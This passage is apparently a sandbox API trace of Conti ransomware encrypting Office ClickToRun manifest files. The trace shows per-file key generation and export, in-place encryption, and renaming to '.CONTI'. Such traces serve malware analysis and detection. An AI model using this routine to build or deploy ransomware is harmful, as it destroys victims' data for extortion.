	[0103.474] GetProcessHeap () returned 0x1720000
	[0103.474] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740be0 | out: hHeap=0x1720000) returned 1
	[0103.474] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0103.474] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c82f0) returned 1
	[0103.474] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x34ffaac | out: pbData=0x17d28dc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0103.475] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x20
	[0103.480] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0103.481] GetLastError () returned 0x0
	[0103.481] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=6158) returned 1
	[0103.481] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x180e
	[0103.481] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.481] SetEndOfFile (hFile=0x3a4) returned 1
	[0103.481] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.481] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.481] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0103.577] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.577] ReadFile (in: hFile=0x3a4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x180e, lpOverlapped=0x0) returned 1
	[0103.578] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x180e, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1810) returned 1
	[0103.578] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.578] WriteFile (in: hFile=0x3a4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1810, lpOverlapped=0x0) returned 1
	[0103.578] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.578] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0103.578] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.578] CloseHandle (hObject=0x3a4) returned 1
	[0103.580] GetProcessHeap () returned 0x1720000
	[0103.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.580] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml"
	[0103.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.CONTI"
	[0103.580] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.conti")) returned 1
	[0103.580] GetProcessHeap () returned 0x1720000
	[0103.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.580] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0103.580] GetProcessHeap () returned 0x1720000
	[0103.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf730 | out: hHeap=0x1720000) returned 1
	[0103.580] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0103.581] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c85b0) returned 1
	[0103.581] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x34ffaac | out: pbData=0x17d2fb4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0103.581] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x20
	[0103.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0103.582] GetLastError () returned 0x0
	[0103.582] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=23444) returned 1
	[0103.582] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b94
	[0103.582] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.582] SetEndOfFile (hFile=0x3a4) returned 1
	[0103.582] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.582] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.582] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0103.584] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.584] ReadFile (in: hFile=0x3a4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x5b94, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x5b94, lpOverlapped=0x0) returned 1
	[0103.585] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x5b94, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x5ba0) returned 1
	[0103.585] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.585] WriteFile (in: hFile=0x3a4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x5ba0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x5ba0, lpOverlapped=0x0) returned 1
	[0103.585] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.585] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0103.585] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.585] CloseHandle (hObject=0x3a4) returned 1
	[0103.586] GetProcessHeap () returned 0x1720000
	[0103.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.586] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml"
	[0103.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.CONTI"
	[0103.586] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.conti")) returned 1
	[0103.587] GetProcessHeap () returned 0x1720000
	[0103.587] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.587] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.587] GetProcessHeap () returned 0x1720000
	[0103.587] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3fd8 | out: hHeap=0x1720000) returned 1
	[0103.587] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0103.587] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x17c82f0) returned 1
	[0103.587] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x34ffaac | out: pbData=0x17d4b14*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0103.588] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x20
	[0103.588] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0103.588] GetLastError () returned 0x0
	[0103.588] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=27466) returned 1
	[0103.588] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6b4a
	[0103.588] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.588] SetEndOfFile (hFile=0x3a4) returned 1
	[0103.589] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.589] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.589] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d4b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d4b14*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0103.590] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.590] ReadFile (in: hFile=0x3a4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x6b4a, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x6b4a, lpOverlapped=0x0) returned 1
	[0103.591] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x6b4a, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x6b50) returned 1
	[0103.591] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.591] WriteFile (in: hFile=0x3a4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x6b50, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x6b50, lpOverlapped=0x0) returned 1
	[0103.591] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.592] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d4b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d4b08*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0103.592] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.592] CloseHandle (hObject=0x3a4) returned 1
	[0103.593] GetProcessHeap () returned 0x1720000
	[0103.593] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.593] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml"
	[0103.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.CONTI"
	[0103.593] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.conti")) returned 1
	[0103.594] GetProcessHeap () returned 0x1720000
	[0103.594] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.594] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0103.594] GetProcessHeap () returned 0x1720000
	[0103.594] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf920 | out: hHeap=0x1720000) returned 1
	[0103.594] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0103.594] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c82f0) returned 1
	[0103.594] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x34ffaac | out: pbData=0x17d4fa4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0103.595] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x20
	[0103.595] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0103.595] GetLastError () returned 0x0
	[0103.595] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=324596) returned 1
	[0103.595] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3f4
	[0103.595] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.595] SetEndOfFile (hFile=0x3a4) returned 1
	[0103.596] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.596] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.596] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0103.597] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.597] ReadFile (in: hFile=0x3a4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x4f3f4, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x4f3f4, lpOverlapped=0x0) returned 1
	[0103.600] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x4f3f4, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x4f400) returned 1
	[0103.601] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.601] WriteFile (in: hFile=0x3a4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x4f400, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x4f400, lpOverlapped=0x0) returned 1
	[0103.602] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.602] WriteFile (in: hFile=0x3a4, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0103.602] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.602] CloseHandle (hObject=0x3a4) returned 1
	[0103.607] GetProcessHeap () returned 0x1720000
	[0103.607] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.607] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml"
	[0103.607] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.CONTI"
